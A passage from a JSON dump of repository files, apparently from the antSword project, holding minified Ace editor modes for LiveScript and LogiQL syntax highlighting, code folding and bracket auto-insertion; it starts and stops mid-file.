\b(?![.-])\",comment:'Generated by DOM query from http://gkz.github.com/prelude-ls/:\\n\t      [].slice\\n\t        .call(document.querySelectorAll(\".nav-pills li a\"))\\n\t        .map(function(_) {return _.innerText})\\n\t        .filter(function(_) {return _.trim() !== \\'})\\n\t        .slice(2)\\n\t        .join(\"|\")\\n     \t\t'},{token:\"support.function.semireserved.livescript\",regex:\"(?<![.-])\\\\b(?:that|it|e)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)(?<![.-])\\\\b(that|it|e)\\\\b\"},{token:\"support.function.method.array.livescript\",regex:\"(?<=(?:\\\\.|\\\\]|\\\\)))(?:apply|call|concat|every|filter|for(?:Each|-each)|from|has(?:Own|-own)(?:Property|-property)|index(?:Of|-of)|is(?:Prototype|-prototype)(?:Of|-of)|join|last(?:Index|-index)(?:Of|-of)|map|of|pop|property(?:Is|-is)(?:Enumerable|-enumerable)|push|reduce(?:Right|-right)?|reverse|shift|slice|some|sort|splice|to(?:Locale|-locale)?(?:String|-string)|unshift|valueOf)\\\\b(?!-)\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)((?<=(\\\\.|\\\\]|\\\\)))(\\n\t\t\t\tapply|call|concat|every|filter|for(Each|-each)|\\n\t\t\t\tfrom|has(Own|-own)(Property|-property)|index(Of|-of)|\\n\t\t\t\tis(Prototype|-prototype)(Of|-of)|join|last(Index|-index)(Of|-of)|\\n\t\t\t\tmap|of|pop|property(Is|-is)(Enumerable|-enumerable)|push|\\n\t\t\t\treduce(Right|-right)?|reverse|shift|slice|some|sort|\\n\t\t\t\tsplice|to(Locale|-locale)?(String|-string)|unshift|valueOf\\n\t\t\t))\\\\b(?!-) \"},{token:\"support.function.static.array.livescript\",regex:\"(?<=Array\\\\.)isArray\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)((?<=Array\\\\.)(\\n\t\t\t\tisArray\\n\t\t\t))\\\\b\"},{token:\"support.function.static.object.livescript\",regex:\"(?<=Object\\\\.)(?:create|ace.define(?:Propert|-propert)(?:ies|y)|freeze|get(?:Own|-own)(?:Property|-property)(?:Descriptors?|Names)|get(?:Property|-property)(?:Descriptor|Names)|getPrototypeOf|is(?:(?:Extensible|-extensible)|(?:Frozen|-frozen)|(?:Sealed|-sealed))?|keys|prevent(?:Extensions|-extensions)|seal)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)((?<=Object\\\\.)(\\n\t\t\t\tcreate|ace.define(Propert|-propert)(ies|y)|freeze|\\n\t\t\t\tget(Own|-own)(Property|-property)(Descriptors?|Names)|\\n\t\t\t\tget(Property|-property)(Descriptor|Names)|getPrototypeOf|\\n\t\t\t\tis((Extensible|-extensible)|(Frozen|-frozen)|(Sealed|-sealed))?|\\n\t\t\t\tkeys|prevent(Extensions|-extensions)|seal\\n\t\t\t))\\\\b\"},{token:\"support.function.static.math.livescript\",regex:\"(?<=Math\\\\.)(?:abs|acos|acosh|asin|asinh|atan|atan2|atanh|ceil|cos|cosh|exp|expm1|floor|hypot|log|log10|log1p|log2|max|min|pow|random|round|sign|sin|sinh|sqrt|tan|tanh|trunc)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)((?<=Math\\\\.)(\\n\t\t\t\tabs|acos|acosh|asin|asinh|atan|atan2|atanh|ceil|cos|cosh|exp|expm1|floor|\\n\t\t\t\thypot|log|log10|log1p|log2|max|min|pow|random|round|sign|sin|sinh|sqrt|\\n\t\t\t\ttan|tanh|trunc\\n\t\t\t))\\\\b\"},{token:\"support.function.static.number.livescript\",regex:\"(?<=Number\\\\.)(?:is(?:Finite|Integer|NaN)|to(?:Integer|-integer))\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)((?<=Number\\\\.)(\\n\t\t\t\tis(Finite|Integer|NaN)|to(Integer|-integer)\\n\t\t\t))\\\\b\"},{token:\"constant.language.livescript\",regex:\"\\\\b(?:Infinity|NaN|undefined)\\\\b\"},{token:\"punctuation.terminator.statement.livescript\",regex:\"\\\\;\"},{token:\"meta.delimiter.object.comma.livescript\",regex:\",[ |\\\\t]*\"},{token:\"meta.delimiter.method.period.livescript\",regex:\"\\\\.\"},{token:\"meta.brace.curly.livescript\",regex:\"\\\\{|\\\\}\"},{token:\"meta.brace.round.livescript\",regex:\"\\\\(|\\\\)\"},{token:\"meta.brace.square.livescript\",regex:\"\\\\[|\\\\]\\\\s*\"},{include:\"#instance_variable\"},{include:\"#backslash_string\"},{include:\"#single_quoted_string\"},{include:\"#double_quoted_string\"},{include:\"#numeric\"}],\"#backslash_string\":[{token:\"string.quoted.single.livescript\",regex:\"\\\\\\\\(?:[\\\\\\\\)\\\\s,\\\\};\\\\]])?\",push:[{token:\"punctuation.definition.string.end.livescript\",regex:\"[\\\\\\\\)\\\\s,\\\\};\\\\]]\",next:\"pop\"},{defaultToken:\"string.quoted.single.livescript\"}]}],\"#double_quoted_string\":[{token:\"punctuation.definition.string.begin.livescript\",regex:'\"',push:[{token:\"punctuation.definition.string.end.livescript\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.livescript\",regex:\"\\\\\\\\(?:x[\\\\da-fA-F]{2}|[0-2][0-7]{0,2}|3[0-6][0-7]|37[0-7]?|[4-7][0-7]?|.)\"},{include:\"#interpolated_livescript\"},{defaultToken:\"string.quoted.double.livescript\"}]}],\"#embedded_comment\":[{token:[\"punctuation.definition.comment.livescript\",\"comment.line.number-sign.livescript\"],regex:\"(?<!\\\\\\\\)(#)(.*$)\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!\\\\\\\\)(#).*$\\\\n\"}],\"#embedded_spaced_comment\":[{token:[\"punctuation.definition.comment.livescript\",\"comment.line.number-sign.livescript\"],regex:\"(?<!\\\\\\\\)(#\\\\s)(.*$)\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!\\\\\\\\)(#\\\\s).*$\\\\n\"}],\"#constructor_variable\":[{token:\"variable.other.readwrite.constructor.livescript\",regex:\"[a-zA-Z$_][\\\\w$-]*@{2}(?:[a-zA-Z$_][\\\\w$-]*)?\"}],\"#instance_variable\":[{token:\"variable.other.readwrite.instance.livescript\",regex:\"(?<!\\\\S)@(?:[a-zA-Z$_][\\\\w$-]*)?\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!\\\\S)(@)([a-zA-Z$_][\\\\w$-]*)?\"}],\"#interpolated_livescript\":[{todo:{token:\"punctuation.section.embedded.livescript\",regex:\"\\\\#\\\\{\",push:[{token:\"punctuation.section.embedded.livescript\",regex:\"\\\\}\",next:\"pop\"},{include:\"$self\"},{defaultToken:\"source.livescript.embedded.source\"}]}},{todo:{token:\"source.livescript.embedded.source.simple\",regex:\"\\\\#\",push:[{token:\"source.livescript.embedded.source.simple\",regex:\"\",next:\"pop\"},{include:\"$self\"},{defaultToken:\"source.livescript.embedded.source.simple\"}]}}],\"#numeric\":[{token:\"constant.numeric.livescript\",regex:\"(?<![\\\\$@a-zA-Z_])(?:[0-9]+r[0-9_]+|(?:16r|0[xX])[0-9a-fA-F_]+|[0-9]+(?:\\\\.[0-9_]+)?(?:e[+\\\\-]?[0-9_]+)?[_a-zA-Z]*)\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<![\\\\$@a-zA-Z_])(([0-9]+r[0-9_]+)|((16r|0[xX])[0-9a-fA-F_]+)|([0-9]+(\\\\.[0-9_]+)?(e[+\\\\-]?[0-9_]+)?)[_a-zA-Z]*)\"}],\"#single_quoted_string\":[{token:\"punctuation.definition.string.begin.livescript\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.livescript\",regex:\"'\",next:\"pop\"},{token:\"constant.character.escape.livescript\",regex:\"\\\\\\\\(?:x[\\\\da-fA-F]{2}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\"},{defaultToken:\"string.quoted.single.livescript\"}]}],\"#variable_name\":[{token:\"variable.assignment.livescript\",regex:\"[a-zA-Z\\\\$_][\\\\w$-]*(?:\\\\.\\\\w+)*(?!\\\\-)\"}]},this.normalizeRules()};s.metaData={comment:\"LiveScript Syntax: version 1\",fileTypes:[\"ls\",\"Slakefile\",\"ls.erb\"],firstLineMatch:\"^#!.*\\\\bls\",foldingStartMarker:\"^\\\\s*class\\\\s+\\\\S.*$|.*(->|=>)\\\\s*$|.*[\\\\[{]\\\\s*$\",foldingStopMarker:\"^\\\\s*$|^\\\\s*[}\\\\]]\\\\s*$\",keyEquivalent:\"^~C\",name:\"LiveScript\",scopeName:\"source.livescript\"},r.inherits(s,i),t.LiveScriptHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/)#(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/live_script\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/live_script_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./live_script_highlight_rules\").LiveScriptHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.$id=\"ace/mode/live_script\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-livescript.js",
    "content": "ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/livescript\",[\"require\",\"exports\",\"module\",\"ace/tokenizer\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/text\"],function(e,t,n){function u(e,t){function n(){}return n.prototype=(e.superclass=t).prototype,(e.prototype=new n).constructor=e,typeof t.extended==\"function\"&&t.extended(e),e}function a(e,t){var n={}.hasOwnProperty;for(var r in t)n.call(t,r)&&(e[r]=t[r]);return e}var r,i,s,o;r=\"(?![\\\\d\\\\s])[$\\\\w\\\\xAA-\\\\uFFDC](?:(?!\\\\s)[$\\\\w\\\\xAA-\\\\uFFDC]|-[A-Za-z])*\",t.Mode=i=function(t){function o(){var t;this.$tokenizer=new(e(\"../tokenizer\").Tokenizer)(o.Rules);if(t=e(\"../mode/matching_brace_outdent\"))this.$outdent=new t.MatchingBraceOutdent;this.$id=\"ace/mode/livescript\"}var n,i=u((a(o,t).displayName=\"LiveScriptMode\",o),t).prototype,s=o;return n=RegExp(\"(?:[({[=:]|[-~]>|\\\\b(?:e(?:lse|xport)|d(?:o|efault)|t(?:ry|hen)|finally|import(?:\\\\s*all)?|const|var|let|new|catch(?:\\\\s*\"+r+\")?))\\\\s*$\"),i.getNextLineIndent=function(e,t,r){var i,s;return i=this.$getIndent(t),s=this.$tokenizer.getLineTokens(t,e).tokens,(!s.length||s[s.length-1].type!==\"comment\")&&e===\"start\"&&n.test(t)&&(i+=r),i},i.toggleCommentLines=function(t,n,r,i){var s,o,u,a,f,l;s=/^(\\s*)#/,o=new(e(\"../range\").Range)(0,0,0,0);for(u=r;u<=i;++u)a=u,(f=s.test(l=n.getLine(a)))?l=l.replace(s,\"$1\"):l=l.replace(/^\\s*/,\"$&#\"),o.end.row=o.start.row=a,o.end.column=l.length+1,n.replace(o,l);return 1-f*2},i.checkOutdent=function(e,t,n){var r;return(r=this.$outdent)!=null?r.checkOutdent(t,n):void 8},i.autoOutdent=function(e,t,n){var r;return(r=this.$outdent)!=null?r.autoOutdent(t,n):void 8},o}(e(\"../mode/text\").Mode),s=\"(?![$\\\\w]|-[A-Za-z]|\\\\s*:(?![:=]))\",o={defaultToken:\"string\"},i.Rules={start:[{token:\"keyword\",regex:\"(?:t(?:h(?:is|row|en)|ry|ypeof!?)|c(?:on(?:tinue|st)|a(?:se|tch)|lass)|i(?:n(?:stanceof)?|mp(?:ort(?:\\\\s+all)?|lements)|[fs])|d(?:e(?:fault|lete|bugger)|o)|f(?:or(?:\\\\s+own)?|inally|unction)|s(?:uper|witch)|e(?:lse|x(?:tends|port)|val)|a(?:nd|rguments)|n(?:ew|ot)|un(?:less|til)|w(?:hile|ith)|o[fr]|return|break|let|var|loop)\"+s},{token:\"constant.language\",regex:\"(?:true|false|yes|no|on|off|null|void|undefined)\"+s},{token:\"invalid.illegal\",regex:\"(?:p(?:ackage|r(?:ivate|otected)|ublic)|i(?:mplements|nterface)|enum|static|yield)\"+s},{token:\"language.support.class\",regex:\"(?:R(?:e(?:gExp|ferenceError)|angeError)|S(?:tring|yntaxError)|E(?:rror|valError)|Array|Boolean|Date|Function|Number|Object|TypeError|URIError)\"+s},{token:\"language.support.function\",regex:\"(?:is(?:NaN|Finite)|parse(?:Int|Float)|Math|JSON|(?:en|de)codeURI(?:Component)?)\"+s},{token:\"variable.language\",regex:\"(?:t(?:hat|il|o)|f(?:rom|allthrough)|it|by|e)\"+s},{token:\"identifier\",regex:r+\"\\\\s*:(?![:=])\"},{token:\"variable\",regex:r},{token:\"keyword.operator\",regex:\"(?:\\\\.{3}|\\\\s+\\\\?)\"},{token:\"keyword.variable\",regex:\"(?:@+|::|\\\\.\\\\.)\",next:\"key\"},{token:\"keyword.operator\",regex:\"\\\\.\\\\s*\",next:\"key\"},{token:\"string\",regex:\"\\\\\\\\\\\\S[^\\\\s,;)}\\\\]]*\"},{token:\"string.doc\",regex:\"'''\",next:\"qdoc\"},{token:\"string.doc\",regex:'\"\"\"',next:\"qqdoc\"},{token:\"string\",regex:\"'\",next:\"qstring\"},{token:\"string\",regex:'\"',next:\"qqstring\"},{token:\"string\",regex:\"`\",next:\"js\"},{token:\"string\",regex:\"<\\\\[\",next:\"words\"},{token:\"string.regex\",regex:\"//\",next:\"heregex\"},{token:\"comment.doc\",regex:\"/\\\\*\",next:\"comment\"},{token:\"comment\",regex:\"#.*\"},{token:\"string.regex\",regex:\"\\\\/(?:[^[\\\\/\\\\n\\\\\\\\]*(?:(?:\\\\\\\\.|\\\\[[^\\\\]\\\\n\\\\\\\\]*(?:\\\\\\\\.[^\\\\]\\\\n\\\\\\\\]*)*\\\\])[^[\\\\/\\\\n\\\\\\\\]*)*)\\\\/[gimy$]{0,4}\",next:\"key\"},{token:\"constant.numeric\",regex:\"(?:0x[\\\\da-fA-F][\\\\da-fA-F_]*|(?:[2-9]|[12]\\\\d|3[0-6])r[\\\\da-zA-Z][\\\\da-zA-Z_]*|(?:\\\\d[\\\\d_]*(?:\\\\.\\\\d[\\\\d_]*)?|\\\\.\\\\d[\\\\d_]*)(?:e[+-]?\\\\d[\\\\d_]*)?[\\\\w$]*)\"},{token:\"lparen\",regex:\"[({[]\"},{token:\"rparen\",regex:\"[)}\\\\]]\",next:\"key\"},{token:\"keyword.operator\",regex:\"[\\\\^!|&%+\\\\-]+\"},{token:\"text\",regex:\"\\\\s+\"}],heregex:[{token:\"string.regex\",regex:\".*?//[gimy$?]{0,4}\",next:\"start\"},{token:\"string.regex\",regex:\"\\\\s*#{\"},{token:\"comment.regex\",regex:\"\\\\s+(?:#.*)?\"},{defaultToken:\"string.regex\"}],key:[{token:\"keyword.operator\",regex:\"[.?@!]+\"},{token:\"identifier\",regex:r,next:\"start\"},{token:\"text\",regex:\"\",next:\"start\"}],comment:[{token:\"comment.doc\",regex:\".*?\\\\*/\",next:\"start\"},{defaultToken:\"comment.doc\"}],qdoc:[{token:\"string\",regex:\".*?'''\",next:\"key\"},o],qqdoc:[{token:\"string\",regex:'.*?\"\"\"',next:\"key\"},o],qstring:[{token:\"string\",regex:\"[^\\\\\\\\']*(?:\\\\\\\\.[^\\\\\\\\']*)*'\",next:\"key\"},o],qqstring:[{token:\"string\",regex:'[^\\\\\\\\\"]*(?:\\\\\\\\.[^\\\\\\\\\"]*)*\"',next:\"key\"},o],js:[{token:\"string\",regex:\"[^\\\\\\\\`]*(?:\\\\\\\\.[^\\\\\\\\`]*)*`\",next:\"key\"},o],words:[{token:\"string\",regex:\".*?\\\\]>\",next:\"key\"},o]}})"
  },
  {
    "path": "antSword/static/libs/ace/mode-logiql.js",
    "content": "ace.define(\"ace/mode/logiql_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.block\",regex:\"/\\\\*\",push:[{token:\"comment.block\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block\"}]},{token:\"comment.single\",regex:\"//.*\"},{token:\"constant.numeric\",regex:\"\\\\d+(?:\\\\.\\\\d+)?(?:[eE][+-]?\\\\d+)?[fd]?\"},{token:\"string\",regex:'\"',push:[{token:\"string\",regex:'\"',next:\"pop\"},{defaultToken:\"string\"}]},{token:\"constant.language\",regex:\"\\\\b(true|false)\\\\b\"},{token:\"entity.name.type.logicblox\",regex:\"`[a-zA-Z_:]+(\\\\d|\\\\a)*\\\\b\"},{token:\"keyword.start\",regex:\"->\",comment:\"Constraint\"},{token:\"keyword.start\",regex:\"-->\",comment:\"Level 1 Constraint\"},{token:\"keyword.start\",regex:\"<-\",comment:\"Rule\"},{token:\"keyword.start\",regex:\"<--\",comment:\"Level 1 Rule\"},{token:\"keyword.end\",regex:\"\\\\.\",comment:\"Terminator\"},{token:\"keyword.other\",regex:\"!\",comment:\"Negation\"},{token:\"keyword.other\",regex:\",\",comment:\"Conjunction\"},{token:\"keyword.other\",regex:\";\",comment:\"Disjunction\"},{token:\"keyword.operator\",regex:\"<=|>=|!=|<|>\",comment:\"Equality\"},{token:\"keyword.other\",regex:\"@\",comment:\"Equality\"},{token:\"keyword.operator\",regex:\"\\\\+|-|\\\\*|/\",comment:\"Arithmetic operations\"},{token:\"keyword\",regex:\"::\",comment:\"Colon colon\"},{token:\"support.function\",regex:\"\\\\b(agg\\\\s*<<)\",push:[{include:\"$self\"},{token:\"support.function\",regex:\">>\",next:\"pop\"}]},{token:\"storage.modifier\",regex:\"\\\\b(lang:[\\\\w:]*)\"},{token:[\"storage.type\",\"text\"],regex:\"(export|sealed|clauses|block|alias|alias_all)(\\\\s*\\\\()(?=`)\"},{token:\"entity.name\",regex:\"[a-zA-Z_][a-zA-Z_0-9:]*(@prev|@init|@final)?(?=(\\\\(|\\\\[))\"},{token:\"variable.parameter\",regex:\"([a-zA-Z][a-zA-Z_0-9]*|_)\\\\s*(?=(,|\\\\.|<-|->|\\\\)|\\\\]|=))\"}]},this.normalizeRules()};r.inherits(s,i),t.LogiQLHighlightRules=s}),ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return 